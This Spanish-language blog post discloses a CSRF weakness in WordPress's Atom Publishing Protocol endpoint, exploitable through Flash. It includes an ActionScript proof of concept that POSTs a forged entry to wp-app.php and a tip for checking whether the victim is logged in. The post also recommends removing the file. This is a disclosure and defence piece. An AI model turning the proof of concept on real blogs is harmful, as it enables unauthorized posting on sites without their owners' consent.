A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.
Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:
function WpApp() {
this.readQueryString();
var blog:String = _params.blog;
if ( !blog ) return;
var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');
r.method = 'POST';
r.data = '<?xml version="1.0" encoding="UTF-8"?>'+
'<rss version="2.0"' +
'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
'xmlns:atom="http://www.w3.org/2005/Atom">'
'<channel>'+
'<atom:entry>'+
'<title>Boo</title>'+
'<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
'<content><![CDATA[boo!]]></content>'+
'</atom:entry>'+
'</channel>'+
'</rss>';
r.contentType = 'application/atom+xml';
navigateToURL(r, '_self');
}
Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀
Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.
[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.